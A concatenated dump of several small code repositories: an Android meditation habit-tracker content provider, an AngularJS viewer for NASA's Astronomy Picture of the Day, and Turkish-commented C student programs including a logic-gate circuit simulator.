int length = cursor.getInt(cursor.getColumnIndex(HabitContract.MeditationEntry.COLUMN_MEDITATION_LENGTH));
Log.d(LOG_TAG, "Meditated " + did_meditation + " on " + date + " for " + length + " mins");
} while (cursor.moveToNext());
cursor.close();
}
}
}
/*
* update the uri based on data on your system
*/
private void update() {
mContentValues.clear();
mContentValues.put(HabitContract.MeditationEntry.COLUMN_DID_MEDITATION, "Yes");
mContentValues.put(HabitContract.MeditationEntry.COLUMN_MEDITATION_LENGTH, 8);
Uri uri = ContentUris.withAppendedId(HabitContract.MeditationEntry.CONTENT_URI, 20160917104605L);
int rowsUpdated = mContentResolver.update(uri, mContentValues, null, null);
Log.d(LOG_TAG, "Rows updated: " + rowsUpdated);
}
private void insert(String yesOrNo, int time) {
mContentValues.clear();
mContentValues.put(HabitContract.MeditationEntry.COLUMN_DID_MEDITATION, yesOrNo);
mContentValues.put(HabitContract.MeditationEntry.COLUMN_MEDITATION_LENGTH, time);
mContentValues.put(HabitContract.MeditationEntry.COLUMN_DATE, getCurrentTime());
mContentResolver.insert(HabitContract.MeditationEntry.CONTENT_URI, mContentValues);
}
// Make sure to append L for long in date
// update time stamp as per your system
private void delete() {
int rowsDeleted;
rowsDeleted = mContentResolver.delete(
HabitContract.MeditationEntry.CONTENT_URI,
HabitContract.MeditationEntry.COLUMN_DATE + " = ?",
new String[]{"20160917104325L"});
Log.d(LOG_TAG, "# of Rows Deleted: " + rowsDeleted);
}
private void deleteAll() {
int rowsDeleted;
rowsDeleted = mContentResolver.delete(
HabitContract.MeditationEntry.CONTENT_URI,
null,
null);
Log.d(LOG_TAG, "# of Rows Deleted: " + rowsDeleted);
}
// Delete the whole database
private void deleteDatabase() {
new HabitDB(this).deleteDatabase(this);
}
}<file_sep>package com.example.android.habittrackerapp;
import android.content.ContentResolver;
import android.content.ContentUris;
import android.net.Uri;
import android.provider.BaseColumns;
public class HabitContract {
public static final String CONTENT_AUTHORITY = "com.sudhirkhanger.app.habittrackerapp";
public static final Uri BASE_CONTENT_URI = Uri.parse("content://" + CONTENT_AUTHORITY);
public static final String PATH_MEDITATION = "meditation";
public static final class MeditationEntry implements BaseColumns {
public static final Uri CONTENT_URI = BASE_CONTENT_URI.buildUpon()
.appendPath(PATH_MEDITATION).build();
public static final String CONTENT_DIR_TYPE =
ContentResolver.CURSOR_DIR_BASE_TYPE + "/" + CONTENT_AUTHORITY + "/" + PATH_MEDITATION;
public static final String CONTENT_ITEM_TYPE =
ContentResolver.CURSOR_DIR_BASE_TYPE + "/" + CONTENT_AUTHORITY + "/" + PATH_MEDITATION;
public static final String TABLE_NAME = "meditation";
public static final String COLUMN_DID_MEDITATION = "did_meditation";
public static final String COLUMN_MEDITATION_LENGTH = "length";
public static final String COLUMN_DATE = "date";
public static Uri buildProductUri(long date) {
return ContentUris.withAppendedId(CONTENT_URI, date);
}
}
}
| dc858389e2bff1d8eb7b59a32b4ba0703ac7ce42 | [
"Java"
] | 3 | Java | falakparmar/Habit-Tracker-App | b502b6c47eac24bdc49997a6a7833999e469b2d2 | 879da0d46b29cd6d265421d8c2d78254171cef4b |
refs/heads/master | <repo_name>EricFram/APOD-Status-Angular<file_sep>/README.md
## Overview ##
APOD explorer is an app that allows you to browse through NASA's Astronomy Pictures of the Day. Images and descriptions are retrieved from NASA's APOD API, but this project is in no way affiliated with or endorsed by NASA or any APOD contributors.
This project was built with AngularJS. Design elements are from Angular Material, and the CSS framework is Skeleton.
If you fork this project, please use your own NASA API key. Get yours here: https://api.nasa.gov/index.html#apply-for-an-api-key
To run this app locally, open the terminal at the repository directory and start the static server:
```
node webserver.js
```
Then navigate to localhost:5100.
## Demo ##
Try it live [here](http://ec2-52-33-40-213.us-west-2.compute.amazonaws.com:5100/)
## License ##
BSD.
<file_sep>/controllers/select.js
angular.module('select',['ngMaterial','ngMessages','apod-data.service','image-switch.service'])
.controller('selectCtrl', selectCtrl);
function selectCtrl($scope, $http, $sce, apodDataService) {
$scope.showResponse = false;
var date = '';
$scope.date = new Date();
date = $scope.date;
//define min and max dates for the date picker
// https://material.angularjs.org/latest/demo/datepicker
$scope.minDate = new Date("1996", "06", "16");
$scope.maxDate = new Date(
$scope.date.getFullYear(),
$scope.date.getMonth(),
$scope.date.getDate()
);
// this gets the new date that the user selects
// it uses ng-change="newDate(selectDate)" on the select.html view
$scope.newDate = function(date) {
var imgData = '';
$scope.date = date;
$scope.preLoader = true;
date = moment(date).format("YYYY-MM-DD");
console.log("SELECT - new date exec - " + date);
imgData = apodDataService.getData(date)
.then(function(data){
data.url = $sce.trustAsResourceUrl(data.url); // required for iFrames to work
imageSwitchService(data); // service to switch out iFrame or image depending on data type
$scope.showResponse = true;
$scope.preLoader = false;
$scope.response = data;
return data;
}, function (error){
console.log(error);
});
}
}
<file_sep>/controllers/main.js
var apodApp = angular.module('apodApp', ['ngRoute','ngMaterial','ngMessages','about','select','today']);
apodApp.controller('mainCtrl', mainCtrl)
apodApp.config(function ($routeProvider) {
$routeProvider.when('/select', {
templateUrl: 'views/select.html',
controller: 'selectCtrl'
});
$routeProvider.when('/today', {
templateUrl: 'views/today.html',
controller: 'todayCtrl'
});
$routeProvider.when('/about', {
templateUrl: 'views/about.html',
controller: 'aboutCtrl'
});
$routeProvider.otherwise({
templateUrl: 'views/today.html',
controller: 'todayCtrl'
});
});
function mainCtrl() {
}
<file_sep>/services/apod-data-service.js
angular.module('apod-data.service',[])
.factory('apodDataService', apodDataService)
// take today's date or user-inputted date to make API call to NASA
function apodDataService($http, $sce, $q) {
var getData = function(date) {
// include selected date in API call
var apodUrl = "https://api.nasa.gov/planetary/apod?concept_tags=True&hd=true&date=" + date + "&api_key=NNKOjkoul8n1CH18TWA9gwngW1s1SmjESPjNoUFo";
// REPLACE WITH YOUR API KEY -- the NASA API is free, but the rate limits are pretty low.
// make the API call
return $http.get(apodUrl)
.then(function(response) {
return response.data;
}, function(error){
console.log(error);
return $q.reject(error);
})
}
return {
getData: getData
}
};
<file_sep>/controllers/today.js
angular.module('today',['apod-data.service', 'image-switch.service'])
.controller('todayCtrl', todayCtrl);
function todayCtrl($scope, $http, $sce, apodDataService) {
$scope.showResponse = false;
$scope.preLoader = true;
// this functionality gets todays date, set's it to appear on the DOM
// and then formats it correctly for the API call using moment()
var imgData = '';
$scope.date = new Date();
date = $scope.date;
date = moment(date).format("YYYY-MM-DD");
imgData = apodDataService.getData(date)
.then(function(data){
console.log(data);
data.url = $sce.trustAsResourceUrl(data.url);
imageSwitchService(data);
$scope.preLoader = false;
$scope.showResponse = true;
$scope.response = data;
return data;
}, function (error){
console.log(error);
});
}
<file_sep>/services/image-switch-service.js
angular.module('image-switch.service',[])
.factory('imageSwitchService', imageSwitchService)
function imageSwitchService(data) {
//adapt if video
if(data.media_type == "video") {
console.log("data media type is video");
angular.element(document.querySelector('#loader')).addClass("hidden");
angular.element(document.querySelector('#apodVideo')).removeClass("hidden");
angular.element(document.querySelector('#apodImage')).addClass("hidden");
angular.element(document.querySelector('#seeHD')).addClass("hidden");
} else {
angular.element(document.querySelector('#loader')).addClass("hidden");
angular.element(document.querySelector('#apodVideo')).addClass("hidden");
angular.element(document.querySelector('#apodImage')).removeClass("hidden");
angular.element(document.querySelector('#seeHD')).removeClass("hidden");
}
}
<file_sep>/controllers/about.js
angular.module('about',[])
.controller('aboutCtrl', aboutCtrl);
function aboutCtrl() {
}
| 826ae87595fb23409066ff096b24d90f4ca8c969 | [
"Markdown",
"JavaScript"
] | 7 | Markdown | EricFram/APOD-Status-Angular | 3d2a030c000f178e99ff33219c554784566f2bb6 | 06fae61cbbd9d677354ec6d7bf2c771bc0e0a038 |
refs/heads/master | <repo_name>SilaSecgin/prolab1.2<file_sep>/saaat/main.c
#include <stdio.h>
#include <time.h>
int main()
{
time_t t;
struct tm *zaman_bilgisi;
time (&t);
zaman_bilgisi = localtime (&t);
printf("Su anki tarih ve saat: %s",asctime(zaman_bilgisi));
return 0;
}
<file_sep>/fsdfsdfa/main.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
char *al;
char *giris[10]; /// .giris YÇYNDEKY VERYLER ///
char *deger2[30]; /// YLK DOSYA YÇYNDEKY DE?ERLER ///
char *cikis[20]; /// .cikis YÇYNDEKY VERYLER ///
char *kapi[25]; /// .kapi-1 YÇYNDEKY VERYLER ///
char *kapi2[25]; /// .kapi-2 YÇYNDEKY VERYLER ///
char *kapi3[25]; /// .kapi-3 YÇYNDEKY VERYLER ///
char *kapi4[25]; /// .kapi-4 YÇYNDEKY VERYLER ///
char *baskaDosya[10]; /// .baskadosya VAR YSE YSMYNY YÇYNE YAZIYOR ///
char *degerler[30]; /// A B C DE?Y?YSEN BURADA TUTUYOR ///
char *son[10];
char *komut[30];
char *giris2[10];
time_t t;
struct tm *zaman_bilgisi;
int main(){
char Hal,Lal,Gal;
while(1){
printf(">");
scanf("%s",&al);
if (al=='y' || al =='Y') {yukle();}
if (al=='i' || al =='I') ilklendir();
if (al=='h' || al =='H') {
printf("H <");
scanf("%s",&Hal);
Lojik1H(&Hal); }
if (al=='l' || al =='L') {
printf("L <");
scanf("%s",&Lal);
Lojik1L(&Lal); }
if (al=='s' || al =='S') simule();
if (al=='g' || al =='G') {
printf("G <");
scanf("%s",&Gal);
GalGoster(&Gal); }
if (al=='u*' || al =='u') GalTumGoster(); /// G* olduğunu görmüyor
if(al=='k' || al =='K') Komut();
if (al=='c' || al =='C') return 0;
}
return 0;
}
void baska(){
int i=0;
printf("Baskaya Girdi\n");
/// DOSYA OKUYUP EKRANA YAZMA ///
char dizi[1000];
char *dizi2[1000];
FILE *ptDosya;
char ch;
int k=0;
const char s[2] = "\t";
char *token;
char *a[1000];
ptDosya = fopen("../rpolab2/devre2-parcali/baska_dosya.txt", "r");
do
{
ch = getc(ptDosya);
printf("%c", ch);
dizi[i]=ch;
printf("\n%c",dizi[i]);
i++;
}
while (ch != EOF);
printf("\n\ndosya sonuna gelindi, okuma islemi bitti!!\n");
fclose(ptDosya);
token = strtok(dizi, s);
while( token != NULL )
{
printf(" %s\n", token );
dizi2[k]=token;
printf("%s\n",dizi2[k]);
token = strtok(NULL, s);
k++;
}
int tutucu =0;
int temp=0;
int say=0;
int say2 = strlen(giris);
int dene=0;
int len=strlen(giris);
say=say2;
/// BASKA DOSYA GİRİS DEGERİ KONTROL ETME VE ATAMA
for(int i=1; dizi2[i] != '\0'; i++)
{
if (strcmp(dizi2[i],".cikis")==0)
{
temp=i+1;
say=0;
break;
}
dene=0;
for (int j=0; giris[j]!='\0'; j++)
{
printf("dizi2[] = %s -- giris[] = %s \n",dizi2[i],giris[j]);
if (strcmp(giris[j],dizi2[i])==0)
break;
else
dene++;
}
printf("%d",dene);
if(dene==len)
{
giris[say]=dizi2[i];
printf("%s \n",giris[say]);
}
say++;
}
say2 = strlen(cikis);
int len2=strlen(cikis);
len2=len2-1;
say=say2-1;
/// BASKA DOSYA CİKİS DEGERİ KONTROL ETME VE ATAMA
for(int i=temp; dizi2[i] != '\0'; i++)
{
if (strcmp(dizi2[i],".kapi")==0)
{
temp=i+1;
say=0;
break;
}
dene=0;
for (int j=0; cikis[j]!='\0'; j++)
{
printf("dizi2[] = %s -- cikis[] = %s \n",dizi2[i],cikis[j]);
if (strcmp(cikis[j],dizi2[i])==0)
break;
else
dene++;
}
printf("%d -- %d \n",dene,len2);
if(dene==len2)
{
cikis[say]=dizi2[i];
printf("%s \n",cikis[say]);
}
say++;
}
///BASKA DOSYA KAPIYA ATAMA
for(int i=temp; dizi2[i] != '\0'; i++){
if (strcmp(dizi2[i],".kapi" )==0 ){
temp=i+1;
say=0;
break;
}
if (strcmp(dizi2[i],".son")==0) return 0;
kapi4[say]=dizi2[i];
printf("%s \n",kapi4[say]);
say++;
}
}
void yukle(){
int i=0;
printf("Yukleye Girdi\n");
/// DOSYA OKUYUP EKRANA YAZMA ///
char dizi[1000];
char *dizi2[1000];
FILE *ptDosya;
char ch;
int k=0;
const char s[2] = "\t";
char *token;
char *a[1000];
ptDosya = fopen("../rpolab2/devre2-parcali/devre.txt", "r");
do
{
ch = getc(ptDosya);
//printf("%c", ch);
dizi[i]=ch;
//printf("\n%c",dizi[i]);
i++;
}
while (ch != EOF);
// printf("\n\ndosya sonuna gelindi, okuma islemi bitti!!\n");
fclose(ptDosya);
token = strtok(dizi, s);
while( token != NULL )
{
// printf(" %s\n", token );
dizi2[k]=token;
// printf("%s\n",dizi2[k]);
token = strtok(NULL, s);
k++;
}
int tutucu =0;
int temp=0;
int say=0;
///BA?KA DOSYA KONTROLÜ ///
for(int i=0; dizi2[i] != '\0'; i++){
if (strcmp(dizi2[i],".include")==0){
temp=i+1;
break;
}
else break;
}
///BASKA DOSYA YSMY ALMA///
for(int i=temp; dizi2[i] != '\0'; i++){
if (strcmp(dizi2[i],".giris")==0){
temp=i+1;
say=0;
break;
}
baskaDosya[say]=dizi2[i];
//printf("%s \n",baskaDosya[say]);
say++;
}
/// GYRYS DE?ERLERY ALMA ///
for(int i=temp; dizi2[i] != '\0'; i++){
if (strcmp(dizi2[i],".cikis")==0){
temp=i+1;
say=0;
break;
}
giris[say]=dizi2[i];
// printf("%s \n",giris[say]);
say++;
}
/// CYKYS DE?ERLERY ALMA
for(int i=temp; dizi2[i] != '\0'; i++){
if (strcmp(dizi2[i],".kapi")==0){
temp=i+1;
say=0;
break;
}
cikis[say]=dizi2[i];
//printf("%s \n",cikis[say]);
say++;
}
/// KAPY1 DE?ERLERY ALMA ///
for(int i=temp; dizi2[i] != '\0'; i++){
if (strcmp(dizi2[i],".kapi")==0){
temp=i+1;
say=0;
break;
}
kapi[say]=dizi2[i];
//printf("%s \n",kapi[say]);
say++;
}
/// KAPY2 DE?ERLERY ALMA ///
for(int i=temp; dizi2[i] != '\0'; i++){
if (strcmp(dizi2[i],".kapi" )==0 ){
temp=i+1;
say=0;
break;
}
if (strcmp(dizi2[i],".son")==0) {
if(strlen(baskaDosya)!=0)
return baska();
else return 0;
}
kapi2[say]=dizi2[i];
//printf("%s \n",kapi2[say]);
say++;
}
/// KAPY3 DE?ERLERY ALMA ///
for(int i=temp; dizi2[i] != '\0'; i++){
if (strcmp(dizi2[i],".kapi" )==0 ){
temp=i+1;
say=0;
break;
}
if (strcmp(dizi2[i],".son")==0) {
if(strlen(baskaDosya)!=0)
return baska();
else return 0;
}
kapi3[say]=dizi2[i];
//printf("%s \n",kapi3[say]);
say++;
}
/// KAPY4 DE?ERLERY ALMA ///
for(int i=temp; dizi2[i] != '\0'; i++){
if (strcmp(dizi2[i],".kapi" )==0 ){
temp=i+1;
say=0;
break;
}
if (strcmp(dizi2[i],".son")==0) {
if(strlen(baskaDosya)!=0)
return baska();
else return 0;
}
kapi4[say]=dizi2[i];
//printf("%s \n",kapi4[say]);
say++;
}
return 0;
}
void ilklendir(){
printf("ilklendire Girdi\n");
int i=0;
/// DOSYA OKUYUP EKRANA YAZMA ///
char dizi[1000];
//char *dizi2[1000];
FILE *ptDosya;
char ch;
int k=0;
const char s[2] = "\t";
char *token;
//char *a[1000];
ptDosya = fopen("../rpolab2/devre2-parcali/deger.txt", "r+");
do{
ch = getc(ptDosya);
//printf("%c", ch);
dizi[i]=ch;
//printf("\n%c",dizi[i]);
i++;
}
while (ch != EOF);
// printf("\n\ndosya sonuna gelindi, okuma islemi bitti!!\n");
fclose(ptDosya);
token = strtok(dizi, s);
while( token != NULL )
{
// printf(" %s\n", token );
deger2[k]=token;
//printf("%s\n",dizi[k]);
token = strtok(NULL, s);
k++;
}
for (int i=0; deger2[i]!='\0';i++ ){
degerler[i]=deger2[i];
/// DYZY YÇYNDEKY KARAKTER SAYISI 2 GÖRÜNÜYOR VE B DE?Y?EMYYORUZ ///
/*int a = strlen(degerler[i]);
if (a>1)
printf("--%d-- \n",a);
*/
//printf("--%s\n",degerler[i]);
}
}
void Lojik1H(char *Hal){
///DE?ER2 NYN A DAN SONRAKY ELEMANIN DE?ERYNY 1 YAP.
printf("LojikH'a Girdi\n");
int k=0,j=0;
for (int i=0; degerler[i]!='\0';i++ ){
if(strcmp(degerler[k],Hal)==0) { j=k; }
k++;
}
j=j+1;
for (int i=0; degerler[i]!='\0';i++ ){
if(i==j) degerler[i]="1";
printf("%s\n",degerler[i]); }
return 0;
}
void Lojik1L(char *Lal){
printf("LojikL'a Girdi\n");
int k=0,j=0;
for (int i=0; degerler[i]!='\0';i++ ){
if(strcmp(degerler[k],Lal)==0) { j=k; }
k++;
}
j=j+1;
for (int i=0; degerler[i]!='\0';i++ ){
if(i==j) degerler[i]="0";
printf("%s\n",degerler[i]); }
}
void GalGoster(char *Gal){
printf("Gal'a Girdi\n");
int k=0,j=0;
for (int i=0; degerler[i]!='\0';i++ ){
if(strcmp(degerler[k],Gal)==0) j=k;
k++;
}
int c=j;
j=j+1;
printf("%s = %s \n",degerler[c],degerler[j]);
}
void GalTumGoster(){
printf("GalTumGoster'e Girdi\n");
char *tutucu[30];
for (int i=0; degerler[i]!='\0';i++ ){
if(i%2==0)
printf("%s = %s \n",degerler[i],degerler[i+1]);
}
}
void simule(){
//printf("%s",asctime(zaman_bilgisi));
/// DOSYA YAZMA KODLARI ///
/* FILE *dosya_yaz;
dosya_yaz = fopen("../rpolab2/devre2-parcali/log.txt","w");
fprintf(dosya_yaz,"Dosya Acildi \n");
time (&t);
zaman_bilgisi = localtime (&t); */
printf("<NAME> \n");
///ZAMAN 0
for (int i=0; degerler[i]!='\0';i++ ){
if(degerler[i]!=deger2[i]){
printf("0 ns: %s %s -> %s \n",degerler[i-1],deger2[i],degerler[i]);
//fprintf(dosya_yaz,"0 ns: %s %s -> %s %s \n",degerler[i-1],deger2[i],degerler[i],asctime(zaman_bilgisi));
}
}
//fclose(dosya_yaz);
/// ZAMAN 1
int a=0,b=0,c=0,d=0,e=0,f=0,g=0,h=0,ji=0,say=0,tut=0;
if(strcmp(kapi[5],"1")==0){
for (int j=0; degerler[j]!='\0'; j++ ){
if(strcmp(kapi[3],degerler[j])==0){
// printf("\nGiris 1 = %s \n",degerler[j+1]);
a = atoi(degerler[j+1]);
}
if(strcmp(kapi[4],degerler[j])==0){
//printf("\nGiris 2 = %s \n",degerler[j+1]);
b = atoi(degerler[j+1]);
}
if(strcmp(kapi[2],degerler[j])==0){
//printf("\nCikis 1 = %s \n",degerler[j+1]);
c = atoi(degerler[j+1]);
tut =j+1;
}
}
if (strcmp(kapi[0],"NAND")==0) c= NAND(a,b);
if (strcmp(kapi[0],"NOR")==0) c= NOR(a,b);
if (strcmp(kapi[0],"XOR")==0) c= XOR(a,b);
if (strcmp(kapi[0],"AND")==0) c= AND(a,b);
if (strcmp(kapi[0],"OR")==0) c= OR(a,b);
//printf("deger = %d \n ",c);
degerler[tut]=itoa(c,degerler[tut],1);
say=atoi(degerler[tut]);
if(say==0) { say=1; }
else { say=0; }
printf("1 ns: %s %d -> %s \n",degerler[tut-1],say,degerler[tut]);
// fprintf(dosya_yaz,"1 ns: %s %d -> %s %s\n",degerler[tut-1],say,degerler[tut],asctime(zaman_bilgisi));
}
//fclose(dosya_yaz);
if(strcmp(kapi[5],"2")==0){
for (int j=0; degerler[j]!='\0'; j++ ){
if(strcmp(kapi[3],degerler[j])==0){
// printf("\nGiris 1 = %s \n",degerler[j+1]);
a = atoi(degerler[j+1]);
}
if(strcmp(kapi[4],degerler[j])==0){
//printf("\nGiris 2 = %s \n",degerler[j+1]);
b = atoi(degerler[j+1]);
}
if(strcmp(kapi[2],degerler[j])==0){
//printf("\nCikis 1 = %s \n",degerler[j+1]);
c = atoi(degerler[j+1]);
tut =j+1;
}
}
if (strcmp(kapi[0],"NAND")==0) c= NAND(a,b);
if (strcmp(kapi[0],"NOR")==0) c= NOR(a,b);
if (strcmp(kapi[0],"XOR")==0) c= XOR(a,b);
if (strcmp(kapi[0],"AND")==0) c= AND(a,b);
if (strcmp(kapi[0],"OR")==0) c= OR(a,b);
//printf("deger = %d \n ",c);
degerler[tut]=itoa(c,degerler[tut],1);
say=atoi(degerler[tut]);
if(say==0) { say=1; }
else { say=0; }
printf("2 ns: %s %d -> %s \n",degerler[tut-1],say,degerler[tut]);
//fprintf(dosya_yaz,"2 ns: %s %d -> %s %s \n",degerler[tut-1],say,degerler[tut],asctime(zaman_bilgisi));
}
if(strcmp(kapi[5],"3")==0){
for (int j=0; degerler[j]!='\0'; j++ ){
if(strcmp(kapi[3],degerler[j])==0){
// printf("\nGiris 1 = %s \n",degerler[j+1]);
a = atoi(degerler[j+1]);
}
if(strcmp(kapi[4],degerler[j])==0){
//printf("\nGiris 2 = %s \n",degerler[j+1]);
b = atoi(degerler[j+1]);
}
if(strcmp(kapi[2],degerler[j])==0){
//printf("\nCikis 1 = %s \n",degerler[j+1]);
c = atoi(degerler[j+1]);
tut =j+1;
}
}
if (strcmp(kapi[0],"NAND")==0) c= NAND(a,b);
if (strcmp(kapi[0],"NOR")==0) c= NOR(a,b);
if (strcmp(kapi[0],"XOR")==0) c= XOR(a,b);
if (strcmp(kapi[0],"AND")==0) c= AND(a,b);
if (strcmp(kapi[0],"OR")==0) c= OR(a,b);
// printf("deger = %d \n ",c);
degerler[tut]=itoa(c,degerler[tut],1);
say=atoi(degerler[tut]);
if(say==0) { say=1; }
else { say=0; }
printf("3 ns: %s %d -> %s \n",degerler[tut-1],say,degerler[tut]);
//fprintf(dosya_yaz,"3 ns: %s %d -> %s %s\n",degerler[tut-1],say,degerler[tut],asctime(zaman_bilgisi));
}
if(strcmp(kapi[5],"4")==0){
for (int j=0; degerler[j]!='\0'; j++ ){
if(strcmp(kapi[3],degerler[j])==0){
// printf("\nGiris 1 = %s \n",degerler[j+1]);
a = atoi(degerler[j+1]);
}
if(strcmp(kapi[4],degerler[j])==0){
//printf("\nGiris 2 = %s \n",degerler[j+1]);
b = atoi(degerler[j+1]);
}
if(strcmp(kapi[2],degerler[j])==0){
//printf("\nCikis 1 = %s \n",degerler[j+1]);
c = atoi(degerler[j+1]);
tut =j+1;
}
}
if (strcmp(kapi[0],"NAND")==0) c= NAND(a,b);
if (strcmp(kapi[0],"NOR")==0) c= NOR(a,b);
if (strcmp(kapi[0],"XOR")==0) c= XOR(a,b);
if (strcmp(kapi[0],"AND")==0) c= AND(a,b);
if (strcmp(kapi[0],"OR")==0) c= OR(a,b);
//printf("deger = %d \n ",c);
degerler[tut]=itoa(c,degerler[tut],1);
say=atoi(degerler[tut]);
if(say==0) { say=1;}
else { say=0;}
printf("4 ns: %s %d -> %s \n",degerler[tut-1],say,degerler[tut]);
//fprintf(dosya_yaz,"4 ns: %s %d -> %s %s\n",degerler[tut-1],say,degerler[tut],asctime(zaman_bilgisi));
}
if(strcmp(kapi2[5],"1")==0){
for (int j=0; degerler[j]!='\0'; j++ ){
if(strcmp(kapi2[3],degerler[j])==0){
//printf("\nGiris 1 = %s \n",degerler[j+1]);
d = atoi(degerler[j+1]);
}
if(strcmp(kapi2[4],degerler[j])==0){
//printf("\nGiris 2 = %s \n",degerler[j+1]);
e = atoi(degerler[j+1]);
}
if(strcmp(kapi2[2],degerler[j])==0){
// printf("\nCikis 1 = %s \n",degerler[j+1]);
f = atoi(degerler[j+1]);
tut =j+1;
}
}
if (strcmp(kapi2[0],"NAND")==0) f= NAND(d,e);
if (strcmp(kapi2[0],"NOR")==0) f= NOR(d,e);
if (strcmp(kapi2[0],"XOR")==0) f= XOR(d,e);
if (strcmp(kapi2[0],"AND")==0) f= AND(d,e);
if (strcmp(kapi2[0],"OR")==0) f= OR(d,e);
//printf("Deger 2 = %d \n" ,f);
degerler[tut]=itoa(f,degerler[tut],2);
say=atoi(degerler[tut]);
if(say==0) { say=1; }
else { say=0; }
printf("1 ns: %s %d -> %s \n",degerler[tut-1],say,degerler[tut]);
//fprintf(dosya_yaz,"1 ns: %s %d -> %s %s\n",degerler[tut-1],say,degerler[tut],asctime(zaman_bilgisi));
}
if(strcmp(kapi2[5],"2")==0){
for (int j=0; degerler[j]!='\0'; j++ ){
if(strcmp(kapi2[3],degerler[j])==0){
//printf("\nGiris 1 = %s \n",degerler[j+1]);
d = atoi(degerler[j+1]);
}
if(strcmp(kapi2[4],degerler[j])==0){
//printf("\nGiris 2 = %s \n",degerler[j+1]);
e = atoi(degerler[j+1]);
}
if(strcmp(kapi2[2],degerler[j])==0){
// printf("\nCikis 1 = %s \n",degerler[j+1]);
f = atoi(degerler[j+1]);
tut =j+1;
}
}
if (strcmp(kapi2[0],"NAND")==0) f= NAND(d,e);
if (strcmp(kapi2[0],"NOR")==0) f= NOR(d,e);
if (strcmp(kapi2[0],"XOR")==0) f= XOR(d,e);
if (strcmp(kapi2[0],"AND")==0) f= AND(d,e);
if (strcmp(kapi2[0],"OR")==0) f= OR(d,e);
// printf("Deger 3 = %d \n" ,f);
degerler[tut]=itoa(f,degerler[tut],2);
say=atoi(degerler[tut]);
if(say==0) { say=1; }
else { say=0; }
printf("2 ns: %s %d -> %s \n",degerler[tut-1],say,degerler[tut]);
//fprintf(dosya_yaz,"2 ns: %s %d -> %s %s\n",degerler[tut-1],say,degerler[tut],asctime(zaman_bilgisi));
}
if(strcmp(kapi2[5],"3")==0){
for (int j=0; degerler[j]!='\0'; j++ ){
if(strcmp(kapi2[3],degerler[j])==0){
//printf("\nGiris 1 = %s \n",degerler[j+1]);
d = atoi(degerler[j+1]);
}
if(strcmp(kapi2[4],degerler[j])==0){
//printf("\nGiris 2 = %s \n",degerler[j+1]);
e = atoi(degerler[j+1]);
}
if(strcmp(kapi2[2],degerler[j])==0){
// printf("\nCikis 1 = %s \n",degerler[j+1]);
f = atoi(degerler[j+1]);
tut =j+1;
}
}
if (strcmp(kapi2[0],"NAND")==0) f= NAND(d,e);
if (strcmp(kapi2[0],"NOR")==0) f= NOR(d,e);
if (strcmp(kapi2[0],"XOR")==0) f= XOR(d,e);
if (strcmp(kapi2[0],"AND")==0) f= AND(d,e);
if (strcmp(kapi2[0],"OR")==0) f= OR(d,e);
//printf("Deger 2 = %d \n" ,f);
degerler[tut]=itoa(f,degerler[tut],2);
say=atoi(degerler[tut]);
if(say==0) { say=1;}
else { say=0;}
printf("3 ns: %s %d -> %s \n",degerler[tut-1],say,degerler[tut]);
//fprintf(dosya_yaz,"3 ns: %s %d -> %s %s\n",degerler[tut-1],say,degerler[tut],asctime(zaman_bilgisi));
}
if(strcmp(kapi2[5],"4")==0){
for (int j=0; degerler[j]!='\0'; j++ ){
if(strcmp(kapi2[3],degerler[j])==0){
//printf("\nGiris 1 = %s \n",degerler[j+1]);
d = atoi(degerler[j+1]);
}
if(strcmp(kapi2[4],degerler[j])==0){
//printf("\nGiris 2 = %s \n",degerler[j+1]);
e = atoi(degerler[j+1]);
}
if(strcmp(kapi2[2],degerler[j])==0){
// printf("\nCikis 1 = %s \n",degerler[j+1]);
f = atoi(degerler[j+1]);
tut =j+1;
}
}
if (strcmp(kapi2[0],"NAND")==0) f= NAND(d,e);
if (strcmp(kapi2[0],"NOR")==0) f= NOR(d,e);
if (strcmp(kapi2[0],"XOR")==0) f= XOR(d,e);
if (strcmp(kapi2[0],"AND")==0) f= AND(d,e);
if (strcmp(kapi2[0],"OR")==0) f= OR(d,e);
// printf("Deger 2 = %d \n" ,f);
degerler[tut]=itoa(f,degerler[tut],2);
say=atoi(degerler[tut]);
if(say==0) { say=1;}
else { say=0; }
printf("4 ns: %s %d -> %s \n",degerler[tut-1],say,degerler[tut]);
//fprintf(dosya_yaz,"4 ns: %s %d -> %s %s\n",degerler[tut-1],say,degerler[tut],asctime(zaman_bilgisi));
}
int aaa = strlen(kapi3);
if (aaa>0){
if(strcmp(kapi3[5],"1")==0){
for (int j=0; degerler[j]!='\0'; j++ ){
if(strcmp(kapi3[3],degerler[j])==0){
//printf("\nGiris 1 = %s \n",degerler[j+1]);
d = atoi(degerler[j+1]);
}
if(strcmp(kapi3[4],degerler[j])==0){
//printf("\nGiris 2 = %s \n",degerler[j+1]);
e = atoi(degerler[j+1]);
}
if(strcmp(kapi3[2],degerler[j])==0){
// printf("\nCikis 1 = %s \n",degerler[j+1]);
f = atoi(degerler[j+1]);
tut =j+1;
}
}
if (strcmp(kapi3[0],"NAND")==0) f= NAND(d,e);
if (strcmp(kapi3[0],"NOR")==0) f= NOR(d,e);
if (strcmp(kapi3[0],"XOR")==0) f= XOR(d,e);
if (strcmp(kapi3[0],"AND")==0) f= AND(d,e);
if (strcmp(kapi3[0],"OR")==0) f= OR(d,e);
//printf("Deger 2 = %d \n" ,f);
degerler[tut]=itoa(f,degerler[tut],2);
say=atoi(degerler[tut]);
if(say==0) { say=1; }
else { say=0; }
printf("1 ns: %s %d -> %s \n",degerler[tut-1],say,degerler[tut]);
//fprintf(dosya_yaz,"1 ns: %s %d -> %s %s\n",degerler[tut-1],say,degerler[tut],asctime(zaman_bilgisi);
}
if(strcmp(kapi3[5],"2")==0){
for (int j=0; degerler[j]!='\0'; j++ ){
if(strcmp(kapi3[3],degerler[j])==0){
//printf("\nGiris 1 = %s \n",degerler[j+1]);
d = atoi(degerler[j+1]);
}
if(strcmp(kapi3[4],degerler[j])==0){
//printf("\nGiris 2 = %s \n",degerler[j+1]);
e = atoi(degerler[j+1]);
}
if(strcmp(kapi3[2],degerler[j])==0){
// printf("\nCikis 1 = %s \n",degerler[j+1]);
f = atoi(degerler[j+1]);
tut =j+1;
}
}
if (strcmp(kapi3[0],"NAND")==0) f= NAND(d,e);
if (strcmp(kapi3[0],"NOR")==0) f= NOR(d,e);
if (strcmp(kapi3[0],"XOR")==0) f= XOR(d,e);
if (strcmp(kapi3[0],"AND")==0) f= AND(d,e);
if (strcmp(kapi3[0],"OR")==0) f= OR(d,e);
//printf("Deger 2 = %d \n" ,f);
